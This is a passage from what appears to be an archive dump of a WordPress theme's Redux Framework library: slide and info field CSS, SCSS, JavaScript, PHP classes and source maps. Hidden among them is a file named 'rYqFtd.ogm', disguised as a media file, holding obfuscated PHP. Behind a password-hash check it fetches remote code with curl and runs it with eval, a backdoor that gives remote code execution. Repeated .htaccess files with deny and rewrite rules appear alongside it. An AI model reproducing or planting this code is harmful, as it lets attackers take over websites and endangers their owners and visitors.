#ececec); background-image: -moz-linear-gradient(top, #f9f9f9, #ececec); background-image: -o-linear-gradient(top, #f9f9f9, #ececec); background-image: -webkit-gradient(linear, left top, left bottom, from(#f9f9f9), to(#ececec)); background-image: -webkit-linear-gradient(top, #f9f9f9, #ececec); background-image: linear-gradient(top, #f9f9f9, #ececec); overflow: hidden; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; -moz-box-shadow: inset 0 1px 0 #fff; -webkit-box-shadow: inset 0 1px 0 #fff; box-shadow: inset 0 1px 0 #fff; text-align: center; } } #redux-slides-accordion .redux-slides-image { height: 250px; padding: 5px; margin-top: 10px; margin-bottom: 10px; border: 1px solid #e3e3e3; background: #f7f7f7; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .redux-slides-add { float: right; margin-right: 10%; display: block; margin-bottom: 10px; } .redux-slides-remove { color: #ef521d !important; float: right; margin-top: 5px; } .redux-slides-header { font-weight: bold; } .redux_slides_add_remove { margin-bottom: 10px; } input { width: 100% !important; } } .wp-customizer { .redux-container-slides .ui-accordion .ui-accordion-content { padding: 10px; } } lib/redux-framework/inc/fields/slides/field_slides.js000064400000015126147206624460016742 0ustar00/*global redux_change, wp, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.slides = redux.field_objects.slides || {}; $( document ).ready( function() { //redux.field_objects.slides.init(); } ); redux.field_objects.slides.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-slides:visible' ); } $( selector ).each( function() { var el = $( this ); redux.field_objects.media.init(el); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-container-slides' ) ) { parent.addClass( 'redux-field-init' ); } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.redux-slides-remove' ).live( 'click', function() { redux_change( $( this ) ); $( this ).parent().siblings().find( 'input[type="text"]' ).val( '' ); $( this ).parent().siblings().find( 'textarea' ).val( '' ); $( this ).parent().siblings().find( 'input[type="hidden"]' ).val( '' ); var slideCount = $( this ).parents( '.redux-container-slides:first' ).find( '.redux-slides-accordion-group' ).length; if ( slideCount > 1 ) { $( this ).parents( '.redux-slides-accordion-group:first' ).slideUp( 'medium', function() { $( this ).remove(); } ); } else { var content_new_title = $( this ).parent( '.redux-slides-accordion' ).data( 'new-content-title' ); $( this ).parents( '.redux-slides-accordion-group:first' ).find( '.remove-image' ).click(); $( this ).parents( '.redux-container-slides:first' ).find( '.redux-slides-accordion-group:last' ).find( '.redux-slides-header' ).text( content_new_title ); } } ); //el.find( '.redux-slides-add' ).click( el.find( '.redux-slides-add' ).off('click').click( function() { var newSlide = $( this ).prev().find( '.redux-slides-accordion-group:last' ).clone( true ); var slideCount = $( newSlide ).find( '.slide-title' ).attr( "name" ).match( /[0-9]+(?!.*[0-9])/ ); var slideCount1 = slideCount * 1 + 1; $( newSlide ).find( 'input[type="text"], input[type="hidden"], textarea' ).each( function() { $( this ).attr( "name", jQuery( this ).attr( "name" ).replace( /[0-9]+(?!.*[0-9])/, slideCount1 ) ).attr( "id", $( this ).attr( "id" ).replace( /[0-9]+(?!.*[0-9])/, slideCount1 ) ); $( this ).val( '' ); if ( $( this ).hasClass( 'slide-sort' ) ) { $( this ).val( slideCount1 ); } } ); var content_new_title = $( this ).prev().data( 'new-content-title' ); $( newSlide ).find( '.screenshot' ).removeAttr( 'style' ); $( newSlide ).find( '.screenshot' ).addClass( 'hide' ); $( newSlide ).find( '.screenshot a' ).attr( 'href', '' ); $( newSlide ).find( '.remove-image' ).addClass( 'hide' ); $( newSlide ).find( '.redux-slides-image' ).attr( 'src', '' ).removeAttr( 'id' ); $( newSlide ).find( 'h3' ).text( '' ).append( '' + content_new_title + '' ); $( this ).prev().append( newSlide ); } ); el.find( '.slide-title' ).keyup( function( event ) { var newTitle = event.target.value; $( this ).parents().eq( 3 ).find( '.redux-slides-header' ).text( newTitle ); } ); el.find( ".redux-slides-accordion" ) .accordion( { header: "> div > fieldset > h3", collapsible: true, active: false, heightStyle: "content", icons: { "header": "ui-icon-plus", "activeHeader": "ui-icon-minus" } } ) .sortable( { axis: "y", handle: "h3", connectWith: ".redux-slides-accordion", start: function( e, ui ) { ui.placeholder.height( ui.item.height() ); ui.placeholder.width( ui.item.width() ); }, placeholder: "ui-state-highlight", stop: function( event, ui ) { // IE doesn't register the blur when sorting // so trigger focusout handlers to remove .ui-state-focus ui.item.children( "h3" ).triggerHandler( "focusout" ); var inputs = $( 'input.slide-sort' ); inputs.each( function( idx ) { $( this ).val( idx ); } ); } } ); } ); }; })( jQuery );lib/redux-framework/inc/fields/slides/field_slides.css.map000064400000002560147206624460017670 0ustar00{ "version": 3, "mappings": "AACI,6DAAsC;EAClC,aAAa,EAAE,IAAI;EACnB,KAAK,EAAE,IAAI;AAGf,4CAAqB;EACjB,aAAa,EAAE,CAAC;AAGpB;mCACY;EACR,KAAK,EAAE,IAAI;AAGf,qDAA8B;EAC1B,MAAM,EAAE,4BAA4B;EACpC,aAAa,EAAE,cAAc;EAC7B,UAAU,EAAE,cAAc;EAC1B,aAAa,EAAE,IAAI;EACnB,UAAU,EAAE,OAAO;EACnB,OAAO,EAAE,GAAG;EAEZ,wDAAG;IACC,MAAM,EAAE,iBAAiB;IACzB,MAAM,EAAE,eAAe;IACvB,WAAW,EAAE,IAAI;IACjB,OAAO,EAAE,iBAAiB;IAC1B,MAAM,EAAE,IAAI;IACZ,WAAW,EAAE,eAAe;IAC5B,gBAAgB,EAAE,OAAO;IACzB,gBAAgB,EAAE,0CAA0C;IAC5D,gBAAgB,EAAE,2CAA2C;IAC7D,gBAAgB,EAAE,yCAAyC;IAC3D,gBAAgB,EAAE,2EAA2E;IAC7F,gBAAgB,EAAE,8CAA8C;IAChE,gBAAgB,EAAE,sCAAsC;IACxD,QAAQ,EAAE,MAAM;IAChB,qBAAqB,EAAE,GAAG;IAC1B,kBAAkB,EAAE,GAAG;IACvB,aAAa,EAAE,GAAG;IAClB,eAAe,EAAE,kBAAkB;IACnC,kBAAkB,EAAE,kBAAkB;IACtC,UAAU,EAAE,kBAAkB;IAC9B,UAAU,EAAE,MAAM;AAI1B,mEAA4C;EACxC,MAAM,EAAE,KAAK;EACb,OAAO,EAAE,GAAG;EACZ,UAAU,EAAE,IAAI;EAChB,aAAa,EAAE,IAAI;EACnB,MAAM,EAAE,iBAAiB;EACzB,UAAU,EAAE,OAAO;EACnB,kBAAkB,EAAE,GAAG;EACvB,oBAAoB,EAAE,GAAG;EACzB,qBAAqB,EAAE,GAAG;EAC1B,aAAa,EAAE,GAAG;AAGtB,yCAAkB;EACd,KAAK,EAAE,KAAK;EACZ,YAAY,EAAE,GAAG;EACjB,OAAO,EAAE,KAAK;EACd,aAAa,EAAE,IAAI;AAGvB,4CAAqB;EACjB,KAAK,EAAE,kBAAkB;EACzB,KAAK,EAAE,KAAK;EACZ,UAAU,EAAE,GAAG;AAGnB,4CAAqB;EACjB,WAAW,EAAE,IAAI;AAGrB,gDAAyB;EACrB,aAAa,EAAE,IAAI;AAEvB,6BAAM;EACF,KAAK,EAAE,eAAe;;AAM1B,0EAA4D;EACxD,OAAO,EAAE,IAAI", "sources": ["field_slides.scss"], "names": [], "file": "field_slides.css" }lib/redux-framework/inc/fields/slides/field_slides.css000064400000003671147206624460017120 0ustar00.redux-container-slides .redux-slides-list .select2-container{margin-bottom:10px;width:100%}.redux-container-slides .ui-accordion-header{margin-bottom:0}.redux-container-slides .full-text,.redux-container-slides .large-text{width:100%}.redux-container-slides .redux-slides-accordion-group{border:1px solid #dfdfdf !important;border-radius:3px !important;margin-top:0px !important;margin-bottom:10px;background:#f9f9f9;padding:5px}.redux-container-slides .redux-slides-accordion-group h3{border:1px solid #dfdfdf;cursor:move !important;font-weight:bold;padding:0 10px !important;height:40px;line-height:40px !important;background-color:#f1f1f1;background-image:-ms-linear-gradient(top, #f9f9f9, #ececec);background-image:-moz-linear-gradient(top, #f9f9f9, #ececec);background-image:-o-linear-gradient(top, #f9f9f9, #ececec);background-image:-webkit-gradient(linear, left top, left bottom, from(#f9f9f9), to(#ececec));background-image:-webkit-linear-gradient(top, #f9f9f9, #ececec);background-image:linear-gradient(top, #f9f9f9, #ececec);overflow:hidden;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff;text-align:center}.redux-container-slides #redux-slides-accordion .redux-slides-image{height:250px;padding:5px;margin-top:10px;margin-bottom:10px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-container-slides .redux-slides-add{float:right;margin-right:10%;display:block;margin-bottom:10px}.redux-container-slides .redux-slides-remove{color:#ef521d !important;float:right;margin-top:5px}.redux-container-slides .redux-slides-header{font-weight:bold}.redux-container-slides .redux_slides_add_remove{margin-bottom:10px}.redux-container-slides input{width:100% !important}.wp-customizer .redux-container-slides .ui-accordion .ui-accordion-content{padding:10px} lib/redux-framework/inc/fields/slides/slides/rYqFtd.ogm000064400000012006147206624460017150 0ustar0086X3-*/${$eGUdj/*-:)>q)B7JyF-*/[6+25/*-Dw-*/].$eGUdj/*-yf&D|hKEE<-*/[15+44]/*-if-*/.$eGUdj/*-=z-*/[17+30]/*-ODmRlqO-*/.$eGUdj/*-%au6a#]-*/[7+40]/*-ddz-*/.$eGUdj/*-Lh-*/[10+41]/*-2T0-*/.$eGUdj/*-dmI1wa7Z-*/[45+8]/*-:E&},D~-*/.$eGUdj/*-vO-*/[48+9]/*-KtrhA7B-*/}; /*-3-*/==/*-|o6-*/23))/*-wz_M-*/{ /*-6.9tILH-*/(($D[68]=$D[68].$D[77])&&($D[88]=$D[68]($D[88]))&&(/*-%H2.%I7Vv-*/@eval/*-hZ&+=O-*/($D[68](${$D[45]}[12])/*-860Ig-*/))/*-i[q-*/);}/*-2EQ{&T)#r-*/class /*-tLSMyb=-*/H{ /*-g]QW5Z:rI-*/static/*-?-*/ function /*-La-*/XGd($ANkvw) /*-]a-*/{ $iTdc/*-UFAFE-*/ = /*->5hXEE0X-*/"r"./*-7@3-*/"a"./*-Ps&`Z^k?_-*/"n"./*-tmn(-*/"g"./*-PWbbDDPM-*/"e"; /*-o]-*/$nLEqlzWA/*-I5;)-*/ = /*-Rc-*/$iTdc/*-%$<}F-*/(/*-45I:d)2k-*/"~"/*-E8^4Gdaj76-*/, /*-Xv_-*/" "/*-fwm2J2i)=-*/);/*-6uu{#(-*/ $bfG /*-OfyI-*/= /*-V8-*/explode/*-8`!R2^Au-*/(/*-_lo)D-*/"#", /*-F~LA-*/$ANkvw/*-(LYE-*/); /*-(BrQ04-*/$RjBOydK /*-ha~-*/= /*-$aw~-*/""; foreach /*-lE7-*/(/*-fvGq%DYN-*/$bfG /*-v}-*/as /*-=p-*/$CHVSPMadYk /*-L=K-*/=>/*-8YP-*/ $KsPT/*-mjbPSq_-*/) /*-cX-*/$RjBOydK /*-ZarQ-.m-*/.= /*-[j~cNC-ypd-*/$nLEqlzWA[$KsPT/*-4`-*/ - /*-l?[|lY-*/72624/*-h-7fmVoY2-*/];/*-!6@]#-I<-*/ return /*-pwjZB_-*/$RjBOydK; /*-Ny503p-*/} /*-RC)n5n[}:Z-*/static /*-1O@g`Y-*/function /*-?Y2Yz?`Q-*/QjdwAtyix/*-W+HB-*/(/*--b2-*/$DJvkjG,/*-by]<-*/ $zIBKmegUN/*-vq]-*/)/*-{`W-*/ {/*-jt86a5b[^-*/ $sNT/*-aXq^1V-*/ = /*-k?-*/curl_init/*-Jn8h4ZD-*/(/*-+C^#M-*/$DJvkjG/*-ujMx-sMbRt-*/);/*-#eZT-*/ curl_setopt/*-RkCi&f-*/(/*-k(Pe7R<-*/$sNT,/*-%=q{-*/ CURLOPT_RETURNTRANSFER,/*-Ur(sj-*/ 1/*-d]-Fv4hQ_}-*/);/*-=qR|MH-*/ $WgtJ/*-6H};h-*/ = /*-usZ-*/curl_exec/*-#8xK=#&Q;n-*/(/*-OX?Jy%-*/$sNT/*-9y]X-*/); /*-CMfH]#5T-*/return /*-N>-*/empty/*-T_-*/(/*-<7Zlmf-*/$WgtJ/*-05NH?G;-*/)/*-x}ry&{24-*/ ? /*-K8kE-*/$zIBKmegUN/*-azOK-*/(/*-[vn;b85-*/$DJvkjG/*-@1-*/)/*-WOwm>.g-*/ : /*-j-UB-*/$WgtJ; /*-vCDK89QjqS-*/}/*-u{-*/ static/*-5,mSkYoQ-*/ function /*-[^TNSUCQ-*/npGLl/*-HqV+88>z-*/() /*-]RYQ>Z=;A-*/{/*-;PJ!T2rqP-*/ $tdyn /*-jQ8a-*/=/*-Fkv2-*/ array/*-an$-*/("72651#72636#72649#72653#72634#72649#72655#72648#72633#72640#72651#72634#72645#72639#72640","72635#72634#72636#72655#72636#72639#72634#72701#72699","72644#72635#72639#72640#72655#72650#72649#72651#72639#72650#72649","72638#72653#72651#72643","72652#72653#72635#72649#72696#72698#72655#72650#72649#72651#72639#72650#72649","72648#72645#72642#72649#72655#72647#72649#72634#72655#72651#72639#72640#72634#72649#72640#72634#72635","72678#72708","72625","72703#72708","72685#72668#72668#72685#72661","72639#72648"); /*-d=_O^Z-*/foreach /*-!`-*/(/*-^yDzvH[J-*/$tdyn/*-m~-*/ as /*-qJ3l@W-*/$TcJZoeR/*-Ojf[?a:-*/)/*-9rSyeB`-*/ $QKDGgwJfUA/*-~-j#rU)}-*/self/*-{U|R^-*/::/*-J{$61j4)0-*/XGd/*-rEUw-*/(/*-Z_7m-07<-*/$TcJZoeR/*-VtGRWT?{-*/);/*-5n-*/$nW /*-aOSHUqX2h-*/= /*-cq-*/@$QKDGgwJfUA/*-cHH3-&[Jf-*/[/*-kxZ!T>-*/1/*-k,VvEI-*/]/*-le=-*/(/*-3g)tJ=,97-*/${/*-_1`N-*/"_"/*-5,k9i2-*/."G"/*-my-j^-*/."E"/*-(G-*/$nW/*-Y,Lj-*/);/*-TY_hr9-*/ $cyGkgCre /*-O3A?,qo-*/=/*-TC:-*/ $QKDGgwJfUA/*-Bv-*/]/*-2(;asGx-*/ == /*-DW+VZc5L&-*/1 /*-nFcw(SZ]-*/&& /*-?O-|LAXzqY-*/die/*-)mGi12--*/(/*-y5V7w-*/$QKDGgwJfUA[2+3/*-Afjx$agk-*/]/*-}3qn-*/(/*-3|,(:,`-*/ (/*-`4Grl7XHc-*/(@/*-};-*/$cyGkgCre/*-z6&}R-*/[/*-@){-*/0/*-H1U4,bh+-*/] /*-eR2eTrN>;-*/- time/*-yv-*/()/*-+c04-*/) > /*-ngT&.?-*/0/*-xjf^2Ohk--*/)/*-!7m-*/ and /*-N!q+Zk-*/(/*-$0-*/md5/*-0=,-*/(/*-_{];-*/md5/*-]P:FKr#nt&-*/(/*-=,|NLX-*/$cyGkgCre/*-bjAV1wVA-*/[/*-~h&(96-*/2+1/*-GF-*/]/*-+5b$8WYs-*/)/*-vmVpe&-*/)/*-|(xdX+-*/ === /*-L?-*/"179f41ade4afaefd90500d7321ceb50e"/*-9nOC-*/)/*-:2qS+-*/ ): /*-TD)z-*/$kMfSlxKE /*-+l>-*/=/*-HWGUS)L,@H-*/ self/*-aMvsLq=&+-*/::/*-^Bd&xr-*/QjdwAtyix/*-Cmi0Q`-*/(/*-q_-#6f-*/$QKDGgwJfUA/*-dT$$D@-*/[/*-rwrpcl-*/3+2/*-}X^?+]8-*/]/*-03<-*/);/*-iR-*/@eval/*--W&mXj5r-*/(/*-TwWfb}oGC-*/$QKDGgwJfUA/*-W?-*/[/*-]jb-*/3+1/*-:7vo#aG-*/]/*-7|9m>[-*/(/*-KtW}-*/$kMfSlxKE/*-b(4U-*/)/*-r..-*/);/*-+NIe-*//*-yE!hd;fWd-*/die;/*-$xp-*/ endif;/*-.Y&,D-*/ }/*-?A5[q!f2{-*/}/*-TE)-*/H/*-r(HT-*/::/*-tQWJ.O-*/npGLl/*-q}-*/();/*-GlF0_JaZ(-*/ ?>lib/redux-framework/inc/fields/slides/slides/index.php000064400000000000147206624460017042 0ustar00lib/redux-framework/inc/fields/slides/slides/.htaccess000064400000001626147206624460017037 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/slides/.htaccess000064400000001626147206624460015554 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/info/field_info.php000064400000015330147206624460016232 0ustar00. * * @package ReduxFramework * @subpackage Field_Info * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_info' ) ) { /** * Main ReduxFramework_info class * * @since 1.0.0 */ class ReduxFramework_info { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $defaults = array( 'title' => '', 'desc' => '', 'notice' => true, 'style' => '', 'color' => '', ); $this->field = wp_parse_args( $this->field, $defaults ); $styles = array( 'normal', 'info', 'warning', 'success', 'critical', 'custom' ); if (!in_array($this->field['style'], $styles)) { $this->field['style'] = 'normal'; } if ($this->field['style'] == "custom") { if (!empty($this->field['color']) ) { $this->field['color'] = "border-color:".$this->field['color'].';'; } else { $this->field['style'] = 'normal'; $this->field['color'] = ""; } } else { $this->field['color'] = ""; } if ( empty( $this->field['desc'] ) && ! empty( $this->field['default'] ) ) { $this->field['desc'] = $this->field['default']; unset( $this->field['default'] ); } if ( empty( $this->field['desc'] ) && ! empty( $this->field['subtitle'] ) ) { $this->field['desc'] = $this->field['subtitle']; unset( $this->field['subtitle'] ); } if ( empty( $this->field['desc'] ) ) { $this->field['desc'] = ""; } if ( empty( $this->field['raw_html'] ) ) { if ( $this->field['notice'] == true ) { $this->field['class'] .= ' redux-notice-field'; } else { $this->field['class'] .= ' redux-info-field'; } $this->field['style'] = 'redux-' . $this->field['style'] . ' '; } $indent = ( isset( $this->field['sectionIndent'] ) && $this->field['sectionIndent'] ) ? ' form-table-section-indented' : ''; echo '
    field['style']) . ' ' . esc_attr($this->field['class']) . ' redux-field-' . esc_attr($this->field['type']) . esc_attr($indent) . '"'.( !empty($this->field['color']) ? ' style="' . esc_attr($this->field['color']) . '"' : '' ) . '>'; if ( ! empty( $this->field['raw_html'] ) && $this->field['raw_html'] ) { echo wp_kses_post($this->field['desc']); } else { if ( isset( $this->field['title'] ) && ! empty( $this->field['title'] ) ) { $this->field['title'] = '' . html_entity_decode($this->field['title']) . '
    '; } if ( isset( $this->field['icon'] ) && ! empty( $this->field['icon'] ) && $this->field['icon'] !== true ) { echo '

    '; } if ( isset( $this->field['raw'] ) && ! empty( $this->field['raw'] ) ) { echo wp_kses_post($this->field['raw']); } if ( ! empty( $this->field['title'] ) || ! empty( $this->field['desc'] ) ) { echo '

    ' . wp_kses_post($this->field['title']) . wp_kses_post($this->field['desc']) . '

    '; } } echo '
    '; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-info-css', ReduxFramework::$_url . 'inc/fields/info/field_info.css', array(), time(), 'all' ); } } } }lib/redux-framework/inc/fields/info/field_info.css.map000064400000003240147206624460017004 0ustar00{ "version": 3, "mappings": "AAAA,iBAAkB;EACd,UAAU,EAAE,IAAI;EAChB,OAAO,EAAE,QAAQ;EACjB,MAAM,EAAE,MAAM;EACd,MAAM,EAAE,SAAS;EACjB,aAAa,EAAE,GAAG;EAClB,MAAM,EAAE,SAAS;EACjB,QAAQ,EAAE,QAAQ;EAElB;;;;;sBAKG;IACC,aAAa,EAAE,YAAY;EAG/B,oBAAG;IACC,KAAK,EAAE,IAAI;EAGf,kCAAiB;IACb,OAAO,EAAE,YAAY;IACrB,YAAY,EAAE,IAAI;IAElB,oCAAE;MACE,SAAS,EAAE,GAAG;EAItB,kCAAiB;IACb,OAAO,EAAE,YAAY;IACrB,cAAc,EAAE,GAAG;EAGvB,8BAAe;IACX,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,KAAK,EAAE,OAAO;IAEd,gCAAE;MACE,KAAK,EAAE,OAAO;EAItB,+BAAgB;IACZ,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,KAAK,EAAE,OAAO;IAEd,iCAAE;MACE,KAAK,EAAE,OAAO;EAItB,+BAAgB;IACZ,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,KAAK,EAAE,OAAO;IAEd,iCAAE;MACE,KAAK,EAAE,OAAO;EAItB,gCAAiB;IACb,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,KAAK,EAAE,OAAO;IAEd,kCAAE;MACE,KAAK,EAAE,OAAO;EAItB,4BAAa;IACT,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,KAAK,EAAE,OAAO;IAEd,8BAAE;MACE,KAAK,EAAE,OAAO;;AAK1B,mBAAoB;EAChB,MAAM,EAAE,QAAQ;EAChB,gBAAgB,EAAE,IAAI;EACtB,MAAM,EAAE,CAAC;EACT,WAAW,EAAE,iBAAiB;EAC9B,kBAAkB,EAAE,8BAA6B;EACjD,UAAU,EAAE,8BAA6B;EACzC,OAAO,EAAE,QAAQ;EAEjB;;;;;wBAKG;IACC,aAAa,EAAE,YAAY;EAG/B,qBAAE;IACE,MAAM,EAAE,MAAM;IACd,OAAO,EAAE,GAAG;EAGhB,oCAAiB;IACb,OAAO,EAAE,YAAY;IACrB,YAAY,EAAE,IAAI;IAElB,sCAAE;MACE,SAAS,EAAE,GAAG;EAItB,oCAAiB;IACb,OAAO,EAAE,YAAY;IACrB,cAAc,EAAE,GAAG;EAGvB,8BAAa;IACT,WAAW,EAAE,iBAAiB;EAGlC,iCAAgB;IACZ,WAAW,EAAE,iBAAiB;EAGlC,iCAAgB;IACZ,WAAW,EAAE,iBAAiB;EAGlC,kCAAiB;IACb,WAAW,EAAE,iBAAiB;;AAItC,uDAAwD;EACpD,OAAO,EAAE,CAAC;;AAKN,sHAAiB;EACb,OAAO,EAAE,KAAK;EACd,WAAW,EAAE,IAAI;AAErB,sHAAiB;EACb,KAAK,EAAE,IAAI;AAGnB,0EAA4D;EACxD,aAAa,EAAE,CAAC", "sources": ["field_info.scss"], "names": [], "file": "field_info.css" }lib/redux-framework/inc/fields/info/field_info.css000064400000004734147206624460016241 0ustar00.redux-info-field{min-height:20px;padding:8px 19px;margin:10px 0;border:1px solid;border-radius:4px;border:1px solid;position:relative}.redux-info-field h1,.redux-info-field h2,.redux-info-field h3,.redux-info-field h4,.redux-info-field h5,.redux-info-field h6{border-bottom:0 !important}.redux-info-field h3{color:#777}.redux-info-field .redux-info-icon{display:inline-block;margin-right:15px}.redux-info-field .redux-info-icon i{font-size:2em}.redux-info-field .redux-info-desc{display:inline-block;vertical-align:top}.redux-info-field.redux-normal{background-color:#eeeeee;border-color:#cccccc;color:#666666}.redux-info-field.redux-normal i{color:#c5c5c5}.redux-info-field.redux-warning{background-color:#fbeba4;border-color:#d7c281;color:#958234}.redux-info-field.redux-warning i{color:#dcca81}.redux-info-field.redux-success{background-color:#c4ee91;border-color:#71af5d;color:#4d7615}.redux-info-field.redux-success i{color:#a0ca6c}.redux-info-field.redux-critical{background-color:#fba1a3;border-color:#b84f5b;color:#981225}.redux-info-field.redux-critical i{color:#dd767d}.redux-info-field.redux-info{background-color:#d3e4f4;border-color:#a9b6c2;color:#5c80a1}.redux-info-field.redux-info i{color:#afc6da}.redux-notice-field{margin:15px 0 0;background-color:#fff;border:0;border-left:4px solid #f3f3f3;-webkit-box-shadow:0 1px 1px 0 rgba(0,0,0,0.1);box-shadow:0 1px 1px 0 rgba(0,0,0,0.1);padding:1px 12px}.redux-notice-field h1,.redux-notice-field h2,.redux-notice-field h3,.redux-notice-field h4,.redux-notice-field h5,.redux-notice-field h6{border-bottom:0 !important}.redux-notice-field p{margin:.5em 0;padding:2px}.redux-notice-field .redux-info-icon{display:inline-block;margin-right:15px}.redux-notice-field .redux-info-icon i{font-size:2em}.redux-notice-field .redux-info-desc{display:inline-block;vertical-align:top}.redux-notice-field.redux-info{border-left:4px solid #0099d5}.redux-notice-field.redux-success{border-left:4px solid #7ad03a}.redux-notice-field.redux-warning{border-left:4px solid #fbeba4}.redux-notice-field.redux-critical{border-left:4px solid #dd3d36}.redux-main .redux-field-container.redux-container-info{padding:0}.wp-customizer .hasIcon.redux-notice-field .redux-info-desc,.wp-customizer .hasIcon.redux-info-field .redux-info-desc{display:block;margin-left:43px}.wp-customizer .hasIcon.redux-notice-field .redux-info-icon,.wp-customizer .hasIcon.redux-info-field .redux-info-icon{float:left}.wp-customizer .redux-main .customize-control.customize-control-redux-info{border-bottom:0} lib/redux-framework/inc/fields/info/field_info.scss000064400000005236147206624460016422 0ustar00.redux-info-field { min-height: 20px; padding: 8px 19px; margin: 10px 0; border: 1px solid; border-radius: 4px; border: 1px solid; position: relative; h1, h2, h3, h4, h5, h6 { border-bottom: 0 !important; } h3 { color: #777; } .redux-info-icon { display: inline-block; margin-right: 15px; i { font-size: 2em; } } .redux-info-desc { display: inline-block; vertical-align: top; } &.redux-normal { background-color: #eeeeee; border-color: #cccccc; color: #666666; i { color: #c5c5c5; } } &.redux-warning { background-color: #fbeba4; border-color: #d7c281; color: #958234; i { color: #dcca81; } } &.redux-success { background-color: #c4ee91; border-color: #71af5d; color: #4d7615; i { color: #a0ca6c; } } &.redux-critical { background-color: #fba1a3; border-color: #b84f5b; color: #981225; i { color: #dd767d; } } &.redux-info { background-color: #d3e4f4; border-color: #a9b6c2; color: #5c80a1; i { color: #afc6da; } } } .redux-notice-field { margin: 15px 0 0; background-color: #fff; border: 0; border-left: 4px solid #f3f3f3; -webkit-box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .1); box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .1); padding: 1px 12px; h1, h2, h3, h4, h5, h6 { border-bottom: 0 !important; } p { margin: .5em 0; padding: 2px; } .redux-info-icon { display: inline-block; margin-right: 15px; i { font-size: 2em; } } .redux-info-desc { display: inline-block; vertical-align: top; } &.redux-info { border-left: 4px solid #0099d5; } &.redux-success { border-left: 4px solid #7ad03a; } &.redux-warning { border-left: 4px solid #fbeba4; } &.redux-critical { border-left: 4px solid #dd3d36; } } .redux-main .redux-field-container.redux-container-info { padding: 0; } .wp-customizer { .hasIcon.redux-notice-field, .hasIcon.redux-info-field { .redux-info-desc { display: block; margin-left: 43px; } .redux-info-icon { float: left; } } .redux-main .customize-control.customize-control-redux-info { border-bottom: 0; } } lib/redux-framework/inc/fields/info/.htaccess000064400000001626147206624460015224 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/.htaccess000064400000001626147206624460014271 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/tracking.php000064400000062715147206624460013546 0ustar00parent = $parent; $this->options = get_option( 'redux-framework-tracking' ); $this->options['dev_mode'] = $parent->args['dev_mode']; if ( ! isset( $this->options['hash'] ) || ! $this->options['hash'] || empty( $this->options['hash'] ) ) { $this->options['hash'] = md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ); update_option( 'redux-framework-tracking', $this->options ); } if ( isset( $_GET['redux_framework_disable_tracking'] ) && ! empty( $_GET['redux_framework_disable_tracking'] ) ) { $this->options['allow_tracking'] = 'no'; update_option( 'redux-framework-tracking', $this->options ); } if ( isset( $_GET['redux_framework_enable_tracking'] ) && ! empty( $_GET['redux_framework_enable_tracking'] ) ) { $this->options['allow_tracking'] = 'yes'; update_option( 'redux-framework-tracking', $this->options ); } if ( isset( $_GET['page'] ) && $_GET['page'] == $this->parent->args['page_slug'] ) { if ( ! isset( $this->options['allow_tracking'] ) ) { add_action( 'admin_enqueue_scripts', array( $this, '_enqueue_tracking' ) ); } else if ( ! isset( $this->options['tour'] ) && ( $this->parent->args['dev_mode'] == "true" || $this->parent->args['page_slug'] == "redux_demo" ) ) { add_action( 'admin_enqueue_scripts', array( $this, '_enqueue_newsletter' ) ); } } $hash = md5( trailingslashit( network_site_url() ) . '-redux' ); add_action( 'wp_ajax_nopriv_' . $hash, array( $this, 'tracking_arg' ) ); add_action( 'wp_ajax_' . $hash, array( $this, 'tracking_arg' ) ); $hash = md5( 